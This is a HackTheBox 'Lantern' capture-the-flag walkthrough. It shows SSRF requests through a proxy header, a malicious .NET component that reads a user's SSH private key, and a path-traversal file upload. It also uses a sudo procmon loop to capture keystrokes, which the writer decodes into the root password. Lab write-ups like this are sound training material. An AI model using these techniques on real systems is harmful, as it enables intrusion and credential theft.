HackTheBox Lantern Writeup
Explore the fundamentals of cybersecurity in the Lantern Capture The Flag (CTF) challenge, a hard-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts#
10.10.11.29 lantern.htb
Script to add hosts automatically#
ip="10.10.11.29"
domain="lantern.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping#
22 - SSH
80 - HTTP
3000 - Blazor application
whatweb http://lantern.htb/ -v
Web Application Insights#
When accessing
http://lantern.htb:3000, the console logs:<script src="_framework/blazor.server.js"></script>WebSocket connection:
WebSocket connected to ws://lantern.htb:3000/_blazor?id=-ODx7yAVlF-M0fiXgTGXag.Exploring further:
http://lantern.htb:3000/_framework/blazor.boot.json
Potential SSRF Exploit (CVE-2022-38580)#
Reference: Exploit-DB 51111
The target site operates as an IT company and allows users to upload resumes at:
http://lantern.htb/vacancies
- The site is vulnerable to SSRF on ports 80 and 3000.
- Accessing
/_framework/blazor.boot.jsonreveals Blazor DLLs. - You can retrieve
InternaLantern.dllthrough an SSRF exploit.
For reference, the structure of the Blazor DLLs in _framework can be explored in this repository:
BlazorStyled Framework Structure
Retrive Information About dlls#
GET /_framework/blazor.boot.json HTTP/1.1
X-Skipper-Proxy: http://127.0.0.1:5000
Host: lantern.htb
Connection: close
Retrieve the DLL#
Download the DLL using the following HTTP GET request with Skipper Proxy:
wget http://lantern.htb/_framework/InternaLantern.dll \
--header="X-Skipper-Proxy: http://127.0.0.1:5000" \
--header="Host: lantern.htb" --header="Connection: close" \
-O InternaLantern.dll
Port 5000 was identified through fuzzing.
This command uses the SSRF vulnerability to retrieve the internal InternaLantern.dll file, leveraging Skipper Proxy.
Decompiling the DLL File#
While dnSpy provides a comprehensive analysis of .NET assemblies, you can use avaloniailspy as a Linux-friendly alternative.
- Open
InternaLantern.dll. - Navigate to:
InternaLantern > InternalLantern.Pages > Internal > OnInitializedAsync - Search for instances of
Convert.FromBase64Stringcontaining Base64 strings. - Pay special attention to the last occurrence.
- Decode the Base64 string to uncover the password for logging in at http://lantern.htb:3000/.
Exploiting .NET Components#
Install .NET 6 SDK#
Install the .NET 6 SDK with your package manager using dotnet-sdk-6.0.
Create and Configure the .NET Project#
Start by creating a new directory for your project and navigate into it. Then initialize a new console application:
dotnet new console -n sedlyf -f net6.0
cd sedlyf
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0
sed -i 's/net8.0/net6.0/' sedlyf.csproj
sed -i 's/Exe/Library/' sedlyf.csproj
Update Program.cs#
Replace the contents of Program.cs with the following code to include functionality for utilizing the render tree builder from ASP.NET components:
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;
namespace sedlyf
{
public class Component : ComponentBase
{
protected override void BuildRenderTree(RenderTreeBuilder builder)
{
base.BuildRenderTree(builder);
string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
builder.AddContent(0, file);
}
}
}
Build the DLL#
Compile your project to generate a DLL file with the following command, ensuring you are in the project directory:
dotnet build -c Release
This builds the project in release mode. The resulting DLL file, sedlyf.dll, will be located under bin/Release/net6.0/.
File Upload#
Upload
sedlyf.dllusing theUpload contentfeature at http://lantern.htb:3000/.Intercept and Modify the Request:
- Use Burp Suite to intercept the request. Install the Blazor Traffic extension for data serialization and deserialization.
- Right-click the request, navigate to Extensions > Blazor Traffic Processor, and select Send Body to BTP tab.
- Deserialize the body and modify the upload path by replacing
sedlyf.dllwith../../../../../../opt/components/sedlyf.dll. After making the modification, reserialize the body and insert it back into the request. - Forward all requests and disable interception when finished.
After the upload is successful, search for the
sedlyfmodule to reveal its key.
nano id_rsa
chmod 600 id_rsa
ssh -i id_rsa tomas@lantern.htb
cat user.txt
cat /var/mail/$(whoami)
sudo -l
User tomas may run the following commands on lantern:
(ALL : ALL) NOPASSWD: /usr/bin/procmon
ps -aef | grep automation
Monitor automation.sh and capture its output.
OLD_PID=$(ps -ef | grep -i nano | grep -v grep | awk '{print $2}')
while true; do
NEWPID=$(ps -ef | grep -i nano | grep -v grep | awk '{print $2}')
if [ "$OLD_PID" != "$NEWPID" ] && [[ -n "$NEWPID" ]]; then
echo "We have a new PID! Old PID: $OLD_PID, New PID: $NEWPID"
OLD_PID=$NEWPID
sudo /usr/bin/procmon -p $NEWPID -e write -c nano$NEWPID.out
fi
sleep 5
done
Wait for approximately 2 minutes or until you have captured 5,000 lines of output.
Then, download the dumped data to your local machine.
scp -i id_rsa tomas@lantern.htb:/home/tomas/nano*.out nano*.out
Run a Python REPL.
python
and paste
import sqlite3, binascii, glob
file = glob.glob('./nano*.out')[0]
with sqlite3.connect(file) as conn:
cursor = conn.cursor()
cursor.execute("SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;")
hex_data = ''.join([row[0] for row in cursor.fetchall()])
binary_data = binascii.unhexlify(hex_data)
decoded_string = binary_data.decode('utf-8', errors='replace')
print("Decoded Data:\n", decoded_string)
Decoded data without escape codes: Q 33EEddddttddww33ppMMBB
Removing duplicates results in: Q3Eddtdw3pMB.
su root
cat /root/root.txt